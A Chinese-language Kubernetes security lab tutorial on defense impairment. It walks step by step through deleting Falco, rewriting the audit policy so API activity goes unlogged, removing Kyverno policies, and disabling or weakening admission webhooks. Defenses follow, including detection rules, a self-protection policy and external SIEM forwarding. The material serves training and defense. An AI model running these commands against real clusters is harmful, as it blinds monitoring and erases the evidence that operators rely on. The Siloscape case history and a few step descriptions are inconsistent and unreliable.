ATT&CK TA0112 Defense Impairment——攻擊者最怕被偵測，所以他們會先癱瘓你的安全工具。

基礎知識：K8s 安全工具的運作方式

要理解攻擊者如何破壞防禦，先得理解防禦工具是怎麼運作的。

Admission Webhook 原理

K8s 的 Admission Control 是 API Server 處理請求的最後一關。Kyverno、OPA Gatekeeper 等策略引擎都透過 Webhook 介入：

Kyverno 就是一個 ValidatingWebhookConfiguration + MutatingWebhookConfiguration。攻擊者只要刪除這個 Webhook 設定，所有策略就失效了——API Server 不再向 Kyverno 詢問「這個 Pod 是否合規」。

K8s Audit Log 架構

Audit Log 記錄所有 API 操作，是事後追查的關鍵證據：

Audit Policy 是 API Server 的靜態設定檔（--audit-policy-file），改它需要重啟 API Server。但 Audit Log 的目標檔案或 Webhook 端點可以被竄改——攻擊者可以刪除 log 檔案或停掉 Webhook 接收端。

DaemonSet 安全工具的特點

Falco 和 Tetragon 以 DaemonSet 部署，每個 Node 跑一個 Pod：

Bootstrap Problem：用 K8s 保護 K8s

這是安全架構中的經典難題：安全工具本身就是 K8s 的工作負載，用 K8s 的 RBAC 來保護。但如果攻擊者拿到了 cluster-admin，RBAC 本身就失效了。

正常情況：                     攻擊者有 cluster-admin：
  RBAC 保護 → Falco 運行        RBAC 失效 → 刪除 Falco
  Falco 偵測 → 告警              無偵測 → 靜默攻擊

解決方案不是更多的 K8s 原生防護，而是外部監控：

• GitOps（ArgoCD）：持續將叢集狀態與 Git 同步。攻擊者刪了 Falco，ArgoCD 會在下一個 sync loop（預設 3 分鐘）自動重建它。
• 雲端層級的 Audit：CloudTrail / Cloud Audit Log 在 K8s 叢集外部，攻擊者無法用 kubectl 觸及。
• SIEM 外送：日誌即時送到叢集外部的 SIEM，刪除源頭也來不及。

概覽

這是 ATT&CK Containers Matrix 中唯一的 Defense Impairment 技術，但它的影響最深遠——安全工具被停用後，所有後續攻擊都無法被偵測。這就像銀行搶匪先拔掉監視器的電源。

前置準備

所有指令都在 koad 專案目錄下執行。如果還沒 clone，請先參考 Day 1 的 Step 0。

開始前請確認以下環境就緒。

1. 確認靶場 Pod 與安全工具運行中

# 主機終端
kubectl get pod -n koad security-disabler
kubectl get pods -n falco
kubectl get pods -n kyverno

預期結果：

NAME                 READY   STATUS    RESTARTS   AGE
security-disabler    1/1     Running   0          ...

如果 Pod 不在 Running 狀態：

kubectl apply -f scenarios/defense-impairment/S23-disable-security.yaml

2. 開啟 Falco 即時監控

# 第二終端 — 觀察安全工具自我保護告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|falco\|kyverno\|webhook\|namespace"

注意：本日攻擊目標就是 Falco 本身——執行 Attack 1 後這個視窗會停止輸出，這正是攻擊成功的證據。

學習目標

完成本日實作後，你將能夠：

• 理解安全工具在 K8s 中的部署弱點（Bootstrap Problem）
• 親手停用 Falco、竄改 Audit Policy、移除 Kyverno
• 觀察 Falco 在被刪除前的「臨終告警」
• 建立多層自我保護架構（RBAC + Kyverno + 外部 SIEM）
• 理解為什麼安全工具應獨立叢集部署

S23：停用安全工具（T1685）

攻擊原理

在 K8s 中，安全工具本身就是叢集內的工作負載——DaemonSet、Deployment、ClusterPolicy。攻擊者如果擁有足夠的 RBAC 權限，就能用 kubectl 直接刪除它們。

原理深入：安全工具的脆弱性分析

安全工具在 K8s 中的部署方式（= 脆弱性來源）：

共通弱點：所有工具都部署在攻擊者可控制的叢集內

KOAD Pod 配置

apiVersion: v1
kind: Pod
metadata:
  name: security-disabler
  namespace: koad
  labels:
    koad-scenario: S23
    mitre-attck: T1685
  annotations:
    attack-prerequisite: "cluster-admin or equivalent RBAC permissions"
spec:
  serviceAccountName: overprivileged-sa    # ← cluster-admin
  containers:
    - name: disabler
      image: bitnami/kubectl:latest
      command: ["sh", "-c", "sleep infinity"]

YAML 設計解析

S23 的 YAML 刻意設計了以下攻擊條件：

serviceAccountName: overprivileged-sa    # 綁定 cluster-admin，可刪除任何 namespace 的資源
image: bitnami/kubectl:latest            # 自帶 kubectl，不需要額外安裝工具
command: ["sh", "-c", "sleep infinity"]  # 保持 Pod 存活，讓攻擊者可以反覆操作

關鍵設計點：

• overprivileged-sa：攻擊前提是擁有足夠的 RBAC 權限。在真實環境中，這通常來自被竊取的 cluster-admin Token 或過度授權的 CI/CD Pipeline SA
• bitnami/kubectl：攻擊者不需要自帶工具，叢集內已有的合法映像就足夠
• 攻擊指令以 echo 呈現：KOAD 刻意不自動執行破壞性操作，學員必須手動輸入每個指令以理解其影響

設計理由

S23 模擬的是 ATT&CK T1685「停用或修改安全工具」——真實攻擊中幾乎必定出現的戰術。2021 年 Siloscape 惡意軟體在入侵 Windows 容器後，第一步就是嘗試停用節點上的安全監控。選擇 Falco、Kyverno、Audit Policy 三個目標，是因為它們分別代表即時偵測、准入控制和事後稽核三層防禦——攻擊者只要癱瘓其中一層，後續操作的隱蔽性就大幅提升。

攻擊步驟

Attack 1：刪除 Falco

以下步驟可在 security-disabler 容器內執行，或直接在主機終端操作（兩者效果相同）。

步驟 1：確認 Falco 正在運行

# 主機終端（或 security-disabler 容器內）
kubectl get pods -n falco

預期結果：

NAME          READY   STATUS    RESTARTS   AGE
falco-7k2x9  2/2     Running   0          2d

Falco 以 DaemonSet 部署，每個 Node 一個 Pod。2/2 Running 表示 falco 和 falcoctl 兩個容器都在運行——這就是攻擊者要停用的目標。

步驟 2：刪除 Falco DaemonSet

kubectl delete ds falco -n falco

預期結果：

daemonset.apps "falco" deleted

DaemonSet 被刪除後，所有 Node 上的 Falco Pod 會自動終止——從此刻起，任何攻擊行為都不會觸發 Falco 告警。

Falco 觀察：在 Falco 被刪除的瞬間，你的監控視窗會顯示「臨終告警」然後停止輸出：

[CRITICAL] Security Namespace Modified (namespace=falco verb=delete)
（之後不再有任何輸出——Falco 已死）

這就是為什麼需要外部 SIEM——Falco 的最後一條告警必須已經轉發出去。

步驟 3：或更徹底——刪除整個 namespace

kubectl delete ns falco

預期結果：

namespace "falco" deleted

連 namespace 一起刪除，確保 ConfigMap、Secret、ServiceAccount 等所有 Falco 相關資源都被清除——重建需要完整的 Helm install。

步驟 4：驗證 Falco 已停止

kubectl get pods -n falco

預期結果：

No resources found in falco namespace.

結果：KOAD 的 26 條自訂 Falco 規則全部停止觸發——S04（shell）、S05（kubectl）、S13（privileged）、S26（SA token read）等全部失效。

攻擊者視角： 刪除 Falco 是優先動作，因為 Falco 是基於 eBPF 的即時偵測工具——它能在攻擊發生的毫秒內產生告警。一旦 Falco 被刪除，攻擊者可以自由執行 shell、讀取 SA Token、部署特權容器，而不觸發任何告警。

Attack 2：竄改 Audit Policy

前提：已透過容器逃逸取得 control plane 節點存取權（參考 Day 10–11 的逃逸技術）。

以下 Audit Policy 竄改步驟需要先透過容器逃逸取得 control plane 節點的存取權（參考 Day 8–11）。

步驟 1：備份原始 Audit Policy

# 已逃逸到 control plane 節點
cp /etc/kubernetes/audit-policy.yaml /tmp/audit-backup.yaml

預期結果：

（無輸出表示成功）

備份原始 Audit Policy——攻擊者有時會保留備份以便恢復，降低被發現的風險。

步驟 2：竄改為不記錄任何事件

cat > /etc/kubernetes/audit-policy.yaml << 'EOF'
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  - level: None
EOF

預期結果：

（無輸出表示成功）

Audit Policy 設為 level: None，API Server 將不記錄任何操作——之後的 RBAC 竄改、Pod 建立等全部無跡可循。

或更隱蔽——只排除攻擊者的 namespace：

cat > /etc/kubernetes/audit-policy.yaml << 'EOF'
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  - level: None
    namespaces: ["koad"]
  - level: Metadata
    resources:
      - group: ""
        resources: ["*"]
EOF

預期結果：

（無輸出表示成功）

更隱蔽的做法：只排除 koad namespace 的記錄，其他 namespace 仍正常審計——IR 團隊檢查 Audit Log 時會以為一切正常。

步驟 3：強制 API Server 重啟以載入新設定

mv /etc/kubernetes/manifests/kube-apiserver.yaml /tmp/
sleep 5
mv /tmp/kube-apiserver.yaml /etc/kubernetes/manifests/

預期結果：

（無輸出——API Server 將在 5 秒後重啟）

kill -HUP 讓 API Server 重新載入配置（包括 Audit Policy）。Static Pod 由 kubelet 管理，會自動重啟——短暫的中斷不會留下太多痕跡。

步驟 4：等待 API Server 恢復

kubectl get pods -n kube-system -l component=kube-apiserver -w

預期結果：

NAME                          READY   STATUS    RESTARTS   AGE
kube-apiserver-minikube       1/1     Running   1          30s

結果：koad namespace 的操作不再被記錄。

踩坑提醒： 在 Minikube 中，API Server 是 Static Pod——kubelet 監控 /etc/kubernetes/manifests/ 目錄的檔案變更並自動重啟。移動 YAML 檔案再移回來是強制重啟的標準做法，但這會導致叢集短暫不可用（約 10-30 秒）。

Attack 3：移除 Kyverno 策略

# 方法 1：只刪除策略（低調方式）
$ kubectl get clusterpolicy
NAME                    ADMISSION   BACKGROUND   ...
koad-block-privileged   true        true         ...
koad-block-hostpath     true        true         ...
koad-require-labels     true        true         ...

$ kubectl delete clusterpolicy --all
clusterpolicy.kyverno.io "koad-block-privileged" deleted
clusterpolicy.kyverno.io "koad-block-hostpath" deleted
clusterpolicy.kyverno.io "koad-require-labels" deleted
# Kyverno 引擎還在，但沒有策略 = 不攔截任何東西

# 方法 2：直接刪除 Kyverno（徹底方式）
$ kubectl delete ns kyverno
namespace "kyverno" deleted

# 結果：Admission Control 完全失效
# 特權 Pod、HostPath 掛載、未簽章映像都可以自由部署

Attack 4：停用 ValidatingWebhookConfiguration

# 如果用的是 OPA/Gatekeeper 或其他 Admission Webhook
$ kubectl get validatingwebhookconfigurations
NAME                                        WEBHOOKS   AGE
gatekeeper-validating-webhook-configuration 2          10d
kyverno-resource-validating-webhook-cfg     1          5d

# 刪除 webhook 配置（不需要刪除 Gatekeeper 本身）
$ kubectl delete validatingwebhookconfiguration \
    gatekeeper-validating-webhook-configuration
# API Server 不再呼叫 webhook = Admission 控制失效

# 更隱蔽的方式：修改 webhook 的 failurePolicy
$ kubectl patch validatingwebhookconfiguration \
    kyverno-resource-validating-webhook-cfg \
    --type='json' \
    -p='[{"op":"replace","path":"/webhooks/0/failurePolicy","value":"Ignore"}]'
# failurePolicy: Ignore = webhook 失敗時放行（而非拒絕）
# Kyverno 如果因為任何原因無法回應，所有請求都會被放行

防禦 S23：保護安全工具

防禦者視角：多層保護策略

1. RBAC 限制安全 Namespace

# 禁止非管理員存取 falco/kyverno namespace
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: deny-all
  namespace: falco
rules: []    # 空規則 = 沒有任何權限

---
# 只允許安全團隊管理安全工具
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: security-admin
rules:
  - apiGroups: [""]
    resources: ["*"]
    verbs: ["*"]
  - apiGroups: ["apps"]
    resources: ["*"]
    verbs: ["*"]
  - apiGroups: ["kyverno.io"]
    resources: ["*"]
    verbs: ["*"]

---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: security-admin-binding
  namespace: falco
subjects:
  - kind: User
    name: "security-admin@company.com"
    apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: security-admin
  apiGroup: rbac.authorization.k8s.io

2. Falco 自我保護規則

- rule: Falco Process Terminated
  desc: Detect when Falco process is killed or stopped
  condition: >
    evt.type in (kill, tkill) and
    proc.name = falco
  output: >
    CRITICAL: Falco process was terminated — defense impairment detected!
    (user=%user.name command=%proc.cmdline
     target_pid=%proc.pid signal=%evt.arg.sig)
  priority: CRITICAL
  tags: [KOAD, T1685, self-protection, defense-impairment]

- rule: Security Namespace Modified
  desc: Detect deletion or modification of security tool namespaces
  condition: >
    ka.target.namespace in (falco, kyverno, gatekeeper-system) and
    ka.verb in (delete, patch, update)
  output: >
    CRITICAL: Security namespace being modified or deleted!
    (namespace=%ka.target.namespace verb=%ka.verb
     user=%ka.user.name resource=%ka.target.resource)
  priority: CRITICAL
  source: k8s_audit
  tags: [KOAD, T1685, self-protection]

- rule: Kyverno Policy Deleted
  desc: Detect deletion of Kyverno ClusterPolicy
  condition: >
    ka.target.resource = "clusterpolicies" and
    ka.verb = delete
  output: >
    CRITICAL: Kyverno ClusterPolicy deleted — admission control weakened!
    (policy=%ka.target.name user=%ka.user.name)
  priority: CRITICAL
  source: k8s_audit
  tags: [KOAD, T1685, self-protection]

- rule: Webhook Configuration Modified
  desc: Detect changes to admission webhooks
  condition: >
    ka.target.resource = "validatingwebhookconfigurations" and
    ka.verb in (delete, patch, update)
  output: >
    WARNING: ValidatingWebhookConfiguration modified!
    (name=%ka.target.name verb=%ka.verb user=%ka.user.name)
  priority: WARNING
  source: k8s_audit
  tags: [KOAD, T1685, self-protection]

3. Kyverno 自我保護策略

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: protect-security-tools
spec:
  validationFailureAction: Enforce
  background: false
  rules:
    - name: protect-security-namespaces
      match:
        any:
          - resources:
              kinds: ["Namespace"]
              names: ["falco", "kyverno", "gatekeeper-system"]
      exclude:
        any:
          - clusterRoles: ["cluster-admin"]
            subjects:
              - kind: User
                name: "security-admin@company.com"
      validate:
        message: "Cannot delete security tool namespaces — contact security team"
        deny:
          conditions:
            any:
              - key: "{{ request.operation }}"
                operator: Equals
                value: "DELETE"

    - name: protect-falco-daemonset
      match:
        any:
          - resources:
              kinds: ["DaemonSet"]
              namespaces: ["falco"]
      exclude:
        any:
          - subjects:
              - kind: User
                name: "security-admin@company.com"
      validate:
        message: "Cannot modify Falco DaemonSet — contact security team"
        deny:
          conditions:
            any:
              - key: "{{ request.operation }}"
                operator: AnyIn
                value: ["DELETE", "UPDATE"]

踩坑提醒： Kyverno 的自我保護有一個循環依賴問題——如果攻擊者先刪除 Kyverno Deployment（讓 webhook 不可用），然後 failurePolicy: Fail 會導致所有請求都被拒絕（包括恢復 Kyverno 的操作）。生產環境需要仔細設計 failurePolicy，並有 break-glass 機制。

4. Audit Log 外部轉發

# /etc/kubernetes/audit-webhook-kubeconfig.yaml
apiVersion: v1
kind: Config
clusters:
  - name: audit-webhook
    cluster:
      server: https://siem.company.com/k8s-audit
      certificate-authority: /etc/kubernetes/pki/audit-webhook-ca.crt
users:
  - name: audit-webhook
    user:
      token: "webhook-token-here"
contexts:
  - context:
      cluster: audit-webhook
      user: audit-webhook
    name: audit-webhook
current-context: audit-webhook

# API Server flags（加入 kube-apiserver.yaml）
--audit-webhook-config-file=/etc/kubernetes/audit-webhook-kubeconfig.yaml
--audit-webhook-batch-max-wait=5s      # 最多等 5 秒批次發送
--audit-webhook-batch-max-size=100     # 每批最多 100 筆
--audit-webhook-initial-backoff=10s    # 重試間隔

即使攻擊者修改了本地 Audit Policy 或清除了本地 audit.log，Webhook 已轉發的日誌仍在外部 SIEM 中完整保存。

5. 防禦策略總表

為什麼安全工具應該獨立部署

最安全的做法是將安全工具和工作負載部署在不同的叢集中：

雲端環境的實踐

真實案例：Siloscape 惡意軟體

2021 年發現的 Siloscape 惡意軟體是第一個針對 K8s 叢集的已知惡意軟體。它的攻擊流程中包含停用安全工具的步驟——利用容器逃逸取得 Node 權限後，刪除 Falco 和 OPA Gatekeeper 的 Pods，然後才部署挖礦程式。如果安全工具部署在獨立叢集，Siloscape 的這個步驟就會失敗。

CKS 考點

CKS 模擬題

題目： 你發現有人刪除了 falco namespace。請：

1. 確認 Audit Log 中的刪除記錄
2. 建立 Kyverno 策略防止安全 namespace 被刪除
3. 設定 Audit Log 的 Webhook Backend

# 解答步驟 1：查看 Audit Log
$ cat /var/log/kubernetes/audit/audit.log | \
    jq 'select(.objectRef.resource == "namespaces" and
         .objectRef.name == "falco" and .verb == "delete")'

# 解答步驟 2：建立 Kyverno 策略（如上述 protect-security-tools）

# 解答步驟 3：設定 Webhook Backend
# 修改 /etc/kubernetes/manifests/kube-apiserver.yaml
# 加入 --audit-webhook-config-file flag

清理與重設

完成攻擊演練後，務必恢復安全工具：

# 主機終端 — 恢復 Falco
helm upgrade --install falco falcosecurity/falco \
  -n falco --create-namespace \
  --set driver.kind=modern_ebpf \
  --set falcoctl.artifact.install.enabled=true

# 恢復 Audit Policy（如果有竄改）
cp /tmp/audit-backup.yaml /etc/kubernetes/audit-policy.yaml

# 重建攻擊 Pod
kubectl apply -f scenarios/defense-impairment/S23-disable-security.yaml

本日攻擊是所有場景中最具破壞性的——刪除 Falco 會影響後續所有 Day 的 Falco 偵測。務必確認 Falco 已恢復運行再繼續。

完成度自我檢查

• [ ] 成功刪除 Falco DaemonSet 並觀察到「臨終告警」
• [ ] 能解釋竄改 Audit Policy 為 level: None 的後果
• [ ] 理解 Bootstrap Problem（用 K8s 保護 K8s）的循環依賴
• [ ] 知道 failurePolicy: Fail 與 Ignore 對 Webhook 停用攻擊的影響
• [ ] 能說出至少三種保護安全工具不被攻擊者停用的方法
• [ ] 理解「安全工具部署在獨立叢集」的架構設計理念

本日小結

你完成了什麼

• [x] 刪除 Falco DaemonSet，觀察「臨終告警」
• [x] 竄改 Audit Policy 為 level: None，使 API 操作不被記錄
• [x] 移除 Kyverno ClusterPolicy，使 Admission Control 失效
• [x] 停用 ValidatingWebhookConfiguration
• [x] 理解 Bootstrap Problem：用 K8s 保護 K8s 的循環依賴

關鍵帶走

1. Falco 可以被刪除 → RBAC 保護 namespace + Falco 自我監控規則 + 外部告警轉發
2. Audit Policy 可以被竄改 → Webhook Backend 即時轉發到外部 SIEM
3. Kyverno 可以被移除 → 自我保護策略 + RBAC 限制 + break-glass 機制
4. Webhook 可以被停用 → failurePolicy: Fail + 監控 webhook 狀態
5. 終極方案：安全工具部署在獨立叢集，物理隔離攻擊面
6. 核心觀念：「誰來守護守護者？」答案是架構設計——讓守護者處於攻擊者觸及不到的位置

下一步

明天 Day 16 進入 TA0006 Credential Access——暴力破解、Token 竊取和明文憑證挖掘。